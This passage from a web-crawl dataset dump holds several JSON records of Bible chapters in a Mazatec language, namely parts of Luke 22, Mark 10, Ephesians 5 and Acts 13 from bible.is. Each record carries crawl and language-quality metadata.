'ndi̱í ma'tsia̱ nga ya̱ kóti̱jna ya̱ nga kixi̱‑la̱ Nainá ra 'ñó tse nga'ñó tjín‑la̱. 70Nga'tsì xi̱ta̱ kitsò: ―¿A ji̱‑ní ra I'ndí‑la̱ Nainá 'mì‑li? Jesús kitsó‑la̱: ―Jión ra ko̱'sín i̱nchibixó nga 'a̱n‑ná. 71'Kia̱á kitsò jñà xi̱ta̱: ―¿Mé ra 'sia̱n‑isa‑ná nga yá ra chji̱nangi‑lá? Jién sabá i̱nchina'yá‑lá koni 'sín títsò nga tíchja̱‑ni tsa'ba.\nSan Lucas 22","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/22","date":"2013-12-12T00:53:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164128316\/warc\/CC-MAIN-20131204133528-00003-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":1417,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús itjojiìn ya̱ na̱xa̱ndá Capernaum, kiì ján i̱'nde Judea, ijchò ján nangui i̱jto̱n xa̱jngá nandá Jordán. Ya̱á kòkjìn ìjngoò k'a xi̱ta̱; koa̱ jè tsibíts'ia̱ ìjngoò k'a nga tsakóya‑la̱ xi̱ta̱ koni s'ín kjit'aà. 2Ijchò kinchat'aà chrañà i'nga‑la̱ xi̱ta̱ fariseo. Nga mejèn‑la̱ skóna̱cha̱n‑la̱, kiskònangui‑la̱, kitsò‑la̱: ―¿A tjí'nde‑la̱ xi x'i̱n nga tsjín chjo̱ón‑la̱? 3Ta̱nga Jesús kitsò‑la̱: ―¿Kós'ín tsakóya‑nò Moisés? 4Kitsò xi̱ta̱ koi: ―Moisés kitsjaà'nde‑né nga ma si̱ndaà xo̱jo̱n nga ko̱ma tsjín xíkjín xi̱ta̱. 5Jesús kitsò‑la̱: ―Moisés, koi k'oa̱ kitsò‑nò, jñò, 'ñó tájaàjiìn tjín ini̱ma̱‑nò. 6Ta̱nga k'e̱ nga sa̱ kisindaà i̱sò'nde, Nainá tsibíndaà x'i̱n ko̱ chjo̱ón. 7K'oa̱á ma‑ne nga jè x'i̱n si̱ìkíjna na̱'èn‑la̱ ko̱ nea̱‑la̱ nga kíjnako̱ chjo̱ón‑la̱. 8Ta jngoò xi̱ta̱ ko̱ma‑ne ingajò. Mìtsà ti̱ jò ma‑ne, ta̱ jngoò ko̱ma‑ne. 9K'oi̱í kjoa̱‑la̱ nga mì yá xi̱ta̱ tjí'nde‑la̱ nga si̱ìtsjiìn xíkjín xi Nainá kisìjngoò. 10K'e̱ nga ijchò‑ne ni'ya‑la̱, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kiskònangui ìjngoò k'a‑la̱ ti̱koi‑ne kjoa̱ koi. 11Jesús kitsò‑la̱: ―Jè xi̱ta̱ xi tsjín chjo̱ón‑la̱, i̱kjoàn bixan‑ko̱ ìjngoò xi kj'ei̱í chjo̱ón, kjoa̱ chijngui tís'ín i̱t'aà ts'e̱ chjo̱ón‑la̱. 12Tsà jè chjo̱ón tsjín x'i̱n‑la̱ i̱kjoàn bixan‑ko̱ ìjngoò xi kj'ei̱í x'i̱n, ti̱koa̱á kjoa̱ chijngui tís'ín i̱t'aà ts'e̱ x'i̱n‑la̱. 13Jngoò k'a jñà xi̱ta̱ j'iìko̱‑la̱ ndí i̱xti jè Jesús nga mejèn‑la̱ si̱ìchikon‑t'in; ko̱òt'aà‑la̱ tsja. Ta̱nga jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús mìkiì kitsjaà'nde‑la̱. Tsohótiko̱‑né. 14K'e̱ nga kijtseè Jesús, kòjti‑la̱, kitsò‑la̱: ―Tjiì'nde‑là ndí i̱xti kàtjanchrobákon‑na. Kì binchahikon‑là. Jñà xi k'oa̱á s'ín tjín ini̱ma̱‑la̱ koni ts'e̱ ndí i̱xti, jñà xi tjín‑la̱ kjo̱ndaà nga Nainá tíhotíxoma‑la̱. 15K'oa̱á xan‑nò xi nguì o̱kixi̱, jñà xi mìkiì ko̱kjeiín‑la̱ koni jngoò ndí i̱xti nga skoé kjo̱ndaà‑la̱ Nainá nga jè ko̱tìxoma‑la̱, mìkiì kjoa̱has'en‑jiìn ñánda tíhotíxoma Nainá. 16Jesús tsa'nga jñà ndí i̱xti; tsohósòn‑la̱ tsja; i̱kjoàn kisìjét'aà‑la̱ Nainá nga kàtasíchikon‑t'in jñà i̱xti. 17K'e̱ nga tífì ìjngoò k'a‑ne Jesús, tsangachikon jngoò xi̱ta̱ xi ijchò tji̱ngui‑la̱. Tsasìxkó'nchit'aà‑la̱; i̱kjoàn kiskònangui‑la̱; kitsò‑la̱: ―Ji̱ Maestro ndaà, ¿mé xi s'iaàn nga s'e̱‑na kjoa̱binachon ni̱ta̱ kjé‑ne? 18Jesús kitsò‑la̱: ―¿Mé‑ne nga xi̱ta̱ ndaà 'mì‑ná? Ni̱jngoò xi̱ta̱ xi ndaà, ta̱ jngoò jè Nainá xi ndaà. 19Jyeé tíjiìn‑lè kó tsò kjo̱tíxoma: \"Kì xi̱ta̱ nìk'in; kì kjoa̱ chijngui 'nì; kì chijé 'nì; kì 'én ndiso nokjoì i̱t'aà ts'e̱ xi̱ta̱ xi kj'ei̱í; kì chona̱cha̱n‑jèn; cha̱xkoín na̱'èn‑lè ko̱ nea̱‑lè.\" 20Jè xi̱ta̱ nchi̱ná kitsò: ―Maestro, ngats'iì kjo̱tíxoma koi, jyeé kisìkitasoàn kó nga sa̱ chítia. 21Jesús tsja komà‑la̱, kiskoò'an, i̱kjoàn kitsò‑la̱: ―Ìjngoò kjoa̱ chija‑lè. T'in, tatìjni yije tsojmì xi tjín‑lè. I̱kjoàn ti̱ka'bí‑la̱ xi̱ta̱ i̱ma̱ mé‑ne nga s'e̱‑lè kjoa̱ machikon‑t'in ján ngajmiì. I̱kjoàn nchrobátji̱ngui‑ná. 22Jè xi̱ta̱ nchi̱ná, tà kjòbaá‑la̱ nga kiì'nchré 'én koi. Tà ba kis'e‑la̱ nga kiì, koi xó nga 'ñó kjìn tsojmì tjín‑la̱. 23Jesús kiskoòtsejèn tji̱ngui‑la̱, kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―'Iín jchán ko̱ma‑la̱ jñà xi̱ta̱ nchi̱ná nga kjoa̱has'en‑jiìn ñánda tíhotíxoma Nainá. 24Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, k'e̱ nga kiì'nchré 'én koi, tà k'oa̱á komà‑la̱. Ta̱nga jè Jesús ìjngoò k'a kitsò‑la̱: ―Jñò xi ki'ndí‑na̱ xan‑nò, 'ñó 'iín ko̱ma‑la̱ jñà xi̱ta̱ xi to̱n‑la̱ 'ñót'aà takòn nga kjoa̱has'en‑jiìn kjo̱tíxoma‑la̱ Nainá. 25Ìsa̱á mì 'in ko̱ma‑la̱ jngoò cho̱ camello nga kjoa̱has'en xko̱n nindoò xi tjahaña‑ne nikje, mì k'oa̱á‑ne koni jngoò xi̱ta̱ nchi̱ná xi 'ñó tjín‑la̱ tsojmì nga ko̱ma kjoa̱has'en‑jiìn ñánda tíhotíxoma Nainá. 26Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, ìsa̱á ndaà kjòxkón‑la̱. I̱kjoàn kiskònangui‑la̱ xíkjín, kitsò: ―¿Yá‑né xi ki̱tjokàjiìn kjo̱'in? 27Jesús kiskoò'an, kitsò: ―Jñà xi̱ta̱ mìkiì ko̱ma‑la̱; ta̱nga Nainá ko̱maá‑la̱; i̱t'aà ts'e̱ Nainá ni̱ta̱ mé kjoa̱‑ne, ko̱ma yijeé‑la̱. 28Kiìchja̱ Pedro, kitsò: ―Na̱'èn, ngaje̱n, jyeé kinìkítsa̱jna yije‑je̱n ngats'iì tsojmì xi tjín‑naje̱n nga tjaàtji̱ngui‑lèje̱n. 29Jesús kitsò: ―O̱kixi̱ xi xan‑nò, ni̱ta̱ yá xi̱ta̱‑ne xi kisìkíjna ni'ya‑la̱, 'ndse̱, ndichja, nea̱‑la̱, na̱'èn‑la̱, chjo̱ón‑la̱, i̱xti‑la̱ ko̱ nangui‑la̱ xi kjoa̱ i̱t'aà ts'a̱n ko̱ i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá 30i̱ i̱sò'nde, ìsa̱á tsato tjoé ngajo‑la̱ xi ni'ya 'mì, xi 'ndse̱, ndichja, nea̱‑la̱, i̱xti‑la̱ ko̱ nangui‑la̱, na̱s'ín kji̱tji̱nguikeè xi̱ta̱ kondra̱. Ta̱nga jè i̱sò'nde xi sa̱ nchrobá, s'e̱é‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. 31Kjìn xi̱ta̱ xi títsa̱jna ítjòn i̱'ndei̱, k'e̱ nga ko̱ma i̱skan jñà kítsa̱jna tji̱ngui. Ko̱ xi títsa̱jna tji̱ngui i̱'ndei̱ k'e̱ nga ko̱ma i̱skan jñà kítsa̱jna ítjòn. 32Jesús, tsó'ba ítjòn‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ nga nchifì ján na̱xa̱ndá Jerusalén. Jñà xi̱ta̱ xi tji̱ngui tà nchimaxkón‑la̱ nga nchifì. K'e̱é kiìchja̱t'aà‑xìn ìjngoò k'a‑la̱ xi̱ta̱‑la̱ xi tejò ma‑ne, i̱kjoàn tsibéno̱jmí ìjngoò k'a‑la̱ jè kjoa̱ xi komàt'in. Kitsò‑la̱: 33―I̱'ndei̱ ján titsa̱honguiá na̱xa̱ndá Jerusalén; 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ya̱á tsobà'ñó‑na xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés nga koi̱ì'nè‑na kjoa̱biyaà, i̱kjoàn si̱ìnga̱tsja‑na jñà xi mìtsà xi̱ta̱ judío 34nga si̱ìsobà‑na̱, ki̱ìchrájno‑na̱, ko̱jà‑na, i̱kjoàn si̱ìk'en‑na. Ta̱nga k'e̱ ki̱jchò jàn na̱chrjein kjoa̱áyaá‑na. 35Jacobo ko̱ Juan i̱xti‑la̱ Zebedeo ijchò kinchat'aà‑la̱ Jesús, kitsò‑la̱: ―Maestro, mejèn‑naje̱n nga k'oi̱‑náje̱n jè kjo̱ndaà xi si̱jé‑lèje̱n. 36Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Mé‑ne xi mejèn‑nò nga tsjaà‑nò? 37Jacobo ko̱ Juan kitsò: ―K'e̱ nga jeya ki̱jni nga tìhotìxomai, ki̱'nde‑náje̱n nga ya̱ kitsa̱t'aà‑lèje̱n, jngoò kíjnat'aà‑lè kixi̱‑lè koa̱ jngoò kíjnat'aà‑lè ngaskón‑lè. 38K'e̱é kitsò Jesús: ―Mìkiì 'yaà mé xi nìjé. ¿A ki̱chìkjoa̱á‑nò nga s'io̱ya jè chi̱tsín ts'e̱ kjo̱'in xi 'a̱n skia̱a, a chíkjoa̱‑nò nga ko̱ma bautizar ts'e̱ kjo̱'in xi 'a̱n tímat'ian? 39Kitsò jñà xi̱ta̱ koi: ―Ki̱chìkjoa̱á‑na̱je̱n. Kitsò‑la̱ Jesús: ―Jñò, ko̱maá s'io̱o koa̱ ko̱ma‑nò bautizar i̱t'aà ts'e̱ kjo̱'in xi 'a̱n ko̱tojñaà, 40ta̱nga xi 'a̱n tsjaà‑nò nga ya̱ ki̱tsa̱jnat'aà‑ná ya̱ kixi̱‑na̱ ko̱ ngaskón‑na̱ mìtsà 'a̱n oko̱‑na nga tsjaà‑nò. Jñà i̱'nde koi, jñà tjoé‑la̱ xi̱ta̱ xi Nainá títsa̱jnandaà‑la̱ nga tsjá‑la̱. 41K'e̱ nga kiì'nchré jñà xi̱ta̱‑la̱ Jesús xi i'nga xi te ma‑ne, kòjti‑la̱ koni kitsò Jacobo ko̱ Juan. 42Ta̱nga jè Jesús kiìchja̱‑la̱, kitsò‑la̱: ―Jye tíjiìn‑nò nga jñà xi̱ta̱ sko̱‑la̱ na̱xa̱ndá xi 'ya‑la̱ nga kjo̱tíxoma tjíya tsja, nangui síkítsa̱jna xi̱ta̱‑la̱ xi jñà otíxoma‑la̱. Ti̱koa̱á jñà xi̱ta̱ xi 'ñó jeya títsa̱jna, beètoòn‑né jñà xi xi̱ta̱ i̱ma̱. 43Ta̱nga jñò mìkiì k'oa̱s'ín s'e̱en; tsà jngoò xi̱ta̱ xinguio̱o mejèn‑la̱ 'nga kíjna, jè xi kàtasíxá‑la̱ xi̱ta̱ xi i'nga. 44Koa̱ jè xi mejèn‑la̱ kíjna ítjòn, chi̱'nda‑la̱ kàtama ngats'iì xi̱ta̱ xi i'nga. 45Ndaà tsà 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, mìtsà koi xá j'i̱‑na nga 'a̱n ko̱s'in‑na; tà sa̱á 'a̱n siìxá‑la̱ xi̱ta̱ xi i'nga, ko̱ tsjaà yijo‑na̱ ko̱ ini̱ma̱‑na̱ nga kjìn xi̱ta̱ kítsa̱jnandei̱í kjoa̱ ts'e̱ jé‑la̱. 46K'e̱ nga ijchò na̱xa̱ndá Jericó nga jye nchibitjojiìn na̱jnchra̱, Jesús tji̱ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ko̱ kjìn xi̱ta̱ tji̱ngui‑ìsa̱‑la̱. Ya̱ i̱ndiì ndi̱yá tíjna jngoò xi̱ta̱ i̱ma̱ xi mìkiì tsejèn‑la̱ xi 'mì Bartimeo, ti‑la̱ ma xi̱ta̱ xi 'mì Timeo, nga tísíjé kjo̱tjò tsojmì. 47Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ k'e̱ nga kiì'nchré nga jè Jesús xi Nazaret ts'e̱ tífì, ni̱to̱ón kiìchja̱‑la̱, kitsò‑la̱: ―¡Jesús, nga ya̱ nchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David [nga ji̱ tijna ngajo‑la̱], jcha̱hi̱ma̱takòn‑ná! 48Kjìn ma xi̱ta̱ xi tsohótiko̱ Bartimeo nga jyò kàtìjna. Ta̱nga jè Bartimeo ìsa̱á 'ñó kiìchja̱. Kitsò: ―¡Ji̱ xi ya̱ nchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David, jcha̱hi̱ma̱takòn‑ná! 49K'e̱é tsasíjna Jesús, kitsò: ―Ti̱nókjoa̱‑là. I̱kjoàn kinokjoà‑la̱ jè xi̱ta̱ xi mìkiì tsejèn‑la̱. Kitsò‑la̱: ―'Ñó te‑la̱ takoìn, ti̱sítji̱in, chja̱‑lè Jesús. 50Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ kisìkatje̱n i̱nchro̱kisòn‑la̱, ni̱to̱ón tsasítje̱n, kiì kasìt'aà‑la̱ ñánda síjna Jesús. 51Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Mé xi mejèn‑lè nga si̱ìko̱‑lè? Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ kitsò: ―Maestro, mejèn‑na̱ nga kàtatsejèn‑na. 52Jesús kitsò‑la̱: ―T'in‑ne; koi‑né nga mokjeiín‑lè i̱t'aà ts'a̱n nga kòmandaà‑ne. Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ ni̱to̱ón kjòtsejèn‑la̱. Kiìtji̱ngui‑la̱ koni s'ín ndi̱yá tífì Jesús.\nSan Marcos 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/10","date":"2013-12-06T13:37:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051776\/warc\/CC-MAIN-20131204131731-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":1119,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ma‑ni, ko̱'sín ti̱jchá ijo‑no koni 'sín 'sín jè Nainá; nga̱ jién ra i̱xti‑la̱ tsó‑ná, 'ñó tsjake‑ná. 2Kata'se‑no kjo̱tsjacha ra a̱'ta 'tse̱ xi̱ta̱ xàngio̱o, koni 'sín nga kjotsjake‑ná jè Cristo nga kitsjà ngajo‑ná ijo‑la̱ nga 'ken koni jngo kjo̱tjò ra nda isasèn‑la̱ Nainá. 3Tanga kì tà chjàn kjoa̱chijngi 'nià, ko̱ kjoa̱'cho ra tjé tjín; ko̱ kì tsajmì ra tjín‑la̱ xàngio̱o nìkjaajion; kì ko̱tjín kjoa̱ ra na'yá‑la̱ ra a̱'ta tsa̱jiòn, jiòn ra na̱xi̱ndá tsje‑la̱ Nainá 'mì‑no. 4Ti̱'koa̱ kì ni̱mé 'én chi̱nga̱ nakjoá ko̱ kì jñà nakjoá 'én ra ni̱mé chjí‑la̱, ko̱ kì ni̱mé 'én‑ská ra 'cho tsò nakjoá. Nga̱ mì kì nda tjín jñà 'én kìi̱, ta isa̱á jnchro ko̱'sín ti̱chjeén ndsa̱'bà nga ko̱'tìn‑la Nainá nga tse kjo̱nda kata'se‑la̱ ra jè. 5Machjeén‑ní nga ko̱'sín katasijin‑no nga jñà xi̱ta̱ ra kjoa̱chijngií 'sín, ko̱ ra 'sín kjoa̱'cho ra tjé tjín, ko̱ ra síkjahajin tsajmì ra tjín‑la̱ xákjén ra 'koa̱á jngoya‑la̱ koni tsa nainá xkósòn bexkón, jñà xi̱ta̱ ra ko̱'sín 'sín, ni̱mé kjo̱tjò 'se̱‑la̱ ya̱ ñánda̱ nga tíbatéxoma Cristo ko̱ jè Nainá. 6Ra a̱'ta 'tse̱ kjoa̱ kìi̱, kìi̱ jñà bíndo̱cha̱‑no jñà xi̱ta̱ ra síchjeén 'én ra ni̱mé chjí‑la̱, nga̱ 'koa̱á jnchro ma‑ni nga síkjinchrabá kjo̱hi'in Nainá a̱'ta 'tse̱ xi̱ta̱ ra mì kì síhitjasòn‑la̱. 7Kì ya̱ níngásòn‑ko̱o jñà xi̱ta̱ kìi̱. 8Nga 'sa̱ kjotseé kjoa̱jñò tsikitsa̱jion, tanga 'ndi̱ 'ndi̱‑ni̱ iseén titsa̱hijyo nga jè Na̱'ín‑ná Jesucristo titsa̱jnako̱o. Ko̱'sín ti̱jchá ijo‑no koni 'sín nga bakén‑la̱ xi̱ta̱ ra isen títsa̱hijyo. 9Nga̱ jè kjo̱nda ra sakó 'kia̱ nga kjoa̱hisen titsa̱jieén, jè‑ní nga nda 'nié, ko̱ kixi̱ níjché ijo‑ná, ko̱ ngi 'én kixi̱ nakjé. 10Nda chítsijen jiòn mé kjoa̱‑ni ra nda sasén‑la̱ jè Nainá. 11Kì ya̱ níngásòn‑ko̱o koni 'sín 'sín jñà xi̱ta̱ ra ta tjíjñò‑la̱ ra mì kì machi̱ya‑la̱, ta isa̱á jiòn ko̱'tìn‑la nga mì kì nda tjín jñà kjoa̱ ra 'sín. 12Nga̱ skanda masabá‑ná 'kia̱ nga nìkaxkie̱é koni 'sín tjín jñà kjoa̱'cho ra sí'ma jñà xi̱ta̱ kìi̱. 13Tanga nga'tsì kjoa̱, 'kia̱ nga bijchó sihijyo masen ñánda̱ nga isen chon, ya̱á 'ya‑la̱ mé kjoa̱‑ni; 14nga jè kjoa̱ iseén bakón tsa kixi̱ tjín ko̱ tsa mì kixi̱ tjín. Kií ko̱'sín tsò‑ni 'én ra tsò: Ngaji̱ ra tjitsjajnafì, ti̱'ká‑la̱ ijo‑li. Tísi̱tje̱n‑jin ya̱ a̱jin‑la̱ mi'ken; ko̱ jè Cristo si̱hisen‑li. 15'Koa̱á ma‑ni, nda ti̱kinda̱a jiòn kó'sín nga i̱nchiníjchá ijo‑no; ko̱'sín ti̱tsa̱jna koni jñà xi̱ta̱ ra nda síchjeén kjo̱bítsjen‑la̱; kì ko̱'sín 'nià koni 'sín jñà ra mì nda fìko̱ kjo̱bítsjen‑la̱. 16Nda ti̱chjeén ni̱chjin ra tí'bì‑no, nga̱ jñà ni̱chjin ra titsa̱hijyeé 'ñó tjín kjoa̱'cho. 17Kì 'cho mahíko̱o kjo̱bítsjen‑no; nda katamachi̱ya‑no mé ra mejèn‑la̱ Nainá. 18Kì xán ni'chi̱‑no ijo‑no nga 'koa̱á ma‑ni nga ta mé kjoa̱ ra kajion; ta isa̱á jè Inìma̱ Tsje‑la̱ Nainá nda ti̱kíjnajion ya̱ inìma̱‑no mé‑ni nga katatsjá‑no kjo̱bítsjen ra nda tjín. 19'Ti̱ nga'ñó‑la xàngio̱o nga jngó jngó‑no nga ti̱jndá‑la Nainá so ra nda sasén‑la̱ koni 'sín nchrabá Salmo, ko̱ nga'tsì so ra 'tse̱ Inìma̱ Tsje‑la̱ Nainá nchrabá‑ni. Ngi ko̱ó inìma̱‑no nga jeya ti̱kíjna jè Na̱'ín‑ná. 20Kji'tá ni̱chjin ti̱nákjoa̱'ta‑la Nainá ra Na̱'ín‑ná ma a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná; ko̱'tìn‑la nga Nainá ra katíchjí‑la̱ ta mé kjoa̱‑ni. 21Ti̱ná'yahijon‑la xàngio̱o nga jngó jngó‑no ta nga̱tjì‑la̱ nga skon‑chá jè Cristo. 22Jñà íchjín ra ijye ixan, ko̱'sín nda kata'nchréhijon‑la̱ 'xi̱n‑la̱, koni 'sín nga 'nchréhijon‑la̱ jè Cristo. 23Nga̱ jè 'xi̱n, jè ma sko̱ chjo̱ón‑la̱, koni 'sín Cristo, jè ma sko̱ xi̱ta̱ na̱xi̱ndá‑la̱, ko̱ jè na̱xi̱ndá‑la̱, 'koa̱á jngoya‑la̱ koni tsa jè ijo‑la̱, nga jè tsachrjejin kjo̱hi'in 'tse̱ jé‑la̱. 24Koni 'sín jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo nda 'nchréhijon‑la̱, jñà íchjín ra ijye ixan, 'koa̱á 'sín nda kata'nchréhijon‑la̱ 'xi̱n‑la̱ ta mé kjoa̱‑nì. 25Jiòn ra xi̱ta̱ 'xi̱n 'mì‑no, ko̱'sín tsjacha 'tia̱àn jñà íchjín‑no koni 'sín nga tsjake jè Cristo jñà xi̱ta̱ na̱xi̱ndá‑la̱. Ko̱ kitsjà kjo̱tjó ijo‑la̱ nga 'ken ngajo‑la̱, 26mé‑ni nga tsje si̱ìkíjna‑ni jè na̱xi̱ndá‑la̱, ko̱ mé‑ni nga ko̱ 'én nda‑la̱ si̱ìtsje‑ni jé‑la̱ koni tsa nandá ki̱níjno‑ni; 27kií ko̱'sín ki'sìn‑ni mé‑ni nga jeya katasíkatsíjen‑ni na̱xi̱ndá‑la̱ ra ti̱jè si̱ìnga̱tsja‑ni ijo‑la̱, ra ni̱mé tjé tjín‑la̱, ko̱ ni̱ ñánda̱ nga 'cho 'ki‑la̱, ko̱ ni̱ ñáa̱‑isa kjoa̱ ra 'cho síkatsíjen. Jè ra mejèn‑la̱ nga 'ñó tsje ko̱ nga 'ñó kixi̱ katijna jè na̱xi̱ndá‑la̱. 28'Koa̱á ti̱'sín machjeén nga jñà ra xi̱ta̱ 'xi̱n, 'koa̱á 'sín katamatsjake íchjín‑la̱ koni 'sín nga matsjake ra jè ijo‑la̱. Jè ra tsjake chjo̱ón‑la̱, ti̱jé‑ni ijo‑la̱ ra ko̱'sín tsjake tí'sín. 29Nga̱ ní yá xi̱ta̱ tjín ra ti̱jè jtike‑ni ijo‑la̱; ta isa̱á jnchro síkonda̱ ijo‑la̱ ko̱ tsjá‑la̱ mé ra machjeén‑la̱, koni 'sín 'sín Cristo nga síkonda̱ xi̱ta̱ na̱xi̱ndá‑la̱. 30Nga̱ jé ma ijo‑la̱ jè na̱xi̱ndá‑la̱; ko̱ jién, ya̱á indabá'ñó‑teé jè ijo ra̱kìi̱. 31Nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"'Koa̱á ma‑ni jè xi̱ta̱ 'xi̱n ra bixan, tsjín jè na̱'ìn‑la̱ ko̱ jè na̱‑la̱ nga kíjnako̱ jè chjo̱ón‑la̱, ko̱ ta jngoó ijo ka̱ma‑ni ta ngajòo̱.\" 32Jè 'én ra̱kìi̱, 'ñó tse tíchja̱‑ni, tanga ta jé tíchjà ra 'a̱n ra a̱'ta 'tse̱ Cristo ko̱ na̱xi̱ndá‑la̱. 33Tanga jè ra 'ñó machjeén nga ko̱'sín tsjacha 'tia̱àn jiòn íchjín‑no nga jngó jngó‑no koni 'sín nga tsjacha jiòn ijo‑no; ko̱ jè chjo̱ón nda katatsakjón‑ke jè 'xi̱n‑la̱.\nEfesios 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Eph\/5","date":"2013-12-12T13:17:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164584555\/warc\/CC-MAIN-20131204134304-00026-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":805,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna ya̱ na̱xa̱ndá Antioquía, tjín i'nga xi̱ta̱ xi chja̱ya ngajo‑la̱ Nainá ko̱ okóya 'én‑la̱ Nainá: jè xi 'mì Bernabé, Simón (xi ti̱koa̱ Niger 'mì), Lucio xi Cirene ts'e̱, Manaén (xi ta̱ña kòjcháko̱ Herodes, xi tsatíxoma Galilea), ko̱ Saulo. 2Jngoò na̱chrjein k'e̱ nga tíma culto ti̱koa̱ títsa̱jnachjan xi̱ta̱‑la̱ Cristo, jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsò: ―Ti̱kítsa̱jnandaà‑ná jè Bernabé ko̱ Saulo xá xi xó 'a̱n kichjà‑la̱. 3Jñà xi̱ta̱‑la̱ Cristo, k'e̱ nga jye tsibìtsa̱jnachjan koa̱ jye tsibítsi'ba, tsohósòn‑la̱ tsja Bernabé ko̱ Saulo, i̱kjoàn kisìkasén [xi kjoa̱ ts'e̱ xá‑la̱ Nainá]. 4Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kisìkasén Bernabé ko̱ Saulo nga kiì Seleucia; ya̱á jahas'en chitso nga kiì nangui xi kijnajiìn‑ndá xi 'mì Chipre. 5K'e̱ nga ijchò na̱xa̱ndá Salamina, tsibíts'ia̱ nga kiìchja̱ya 'én ndaà‑la̱ Nainá ya̱ jñà ni'ya i̱ngo̱ sinagoga ts'e̱ xi̱ta̱ judío. Tji̱ko̱ jè Juan Marco xi kisìchját'aà‑la̱ Bernabé ko̱ Saulo. 6Tsatojiìn kóho̱kji nangui jiìn‑ndá Chipre, ijchò skanda na̱xa̱ndá Pafos. Ya̱á kiskaàt'aà jngoò‑la̱ xi̱ta̱ judío xi 'mì Barjesús xi xi̱ta̱ tj'e, ti̱koa̱á xi̱ta̱ ndiso‑né nga tsò, 'én‑la̱ Nainá chja̱ya. 7Jè xi̱ta̱ tj'e, ya̱á ojmeèko̱ Sergio Paulo xi xi̱ta̱xá ítjòn tíjna kóho̱kji nangui Chipre. Jè Sergio Paulo ndaà fìya‑la̱. Kiìchja̱‑la̱ jè Bernabé ko̱ Saulo nga mejèn‑la̱ kji̱'nchré 'én ndaà‑la̱ Nainá. 8Ta̱nga jè xi̱ta̱ tj'e, xi 'mì Barjesús xi ti̱koa̱ Elimas 'mì xi 'én griego, kondra̱á kiì‑la̱ jè Bernabé ko̱ Saulo nga majìn‑la̱ nga jè xi̱ta̱xá ítjòn ko̱kjeiín‑la̱ 'én ndaà‑la̱ Nainá. 9Ta̱nga jè Saulo, ti̱jè‑ne xi 'mì Pablo, ndaà tíjiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá; 'ñó kiskoò'an, 10kitsò‑la̱: ―¡Xi̱ta̱ ndiso xi ch'o tjín kjo̱hítsjeèn‑lè; ki'ndí‑la̱ xi̱ta̱ nei̱í; ngaji̱ kondra̱ 'mì yije‑la̱ xi kjoa̱ kixi̱! ¿Mé‑ne nga kjit'aà na̱chrjein mejèn‑lè nìkits'ón‑jiìn ndi̱yá kixi̱‑la̱ Nainá? 11I̱'ndei̱ Nainá tsjá‑lè kjo̱'in; mì kiì ti̱ ko̱tsejèn‑lè. Kjìn na̱chrjein mì ti̱ kiì jcha̱‑ne i̱sén ndobá ts'e̱ ts'oí. Ti̱k'e̱‑ne mì ti̱ kiì kjòtsejèn‑la̱. Kj'ei̱í xi̱ta̱ tsohótsji xi kitsobàt'aà nga komà kiì. 12Jè xi̱ta̱xá ítjòn, k'e̱ nga kijtseè kjoa̱ koi, kòkjeiín‑la̱ 'én‑la̱ 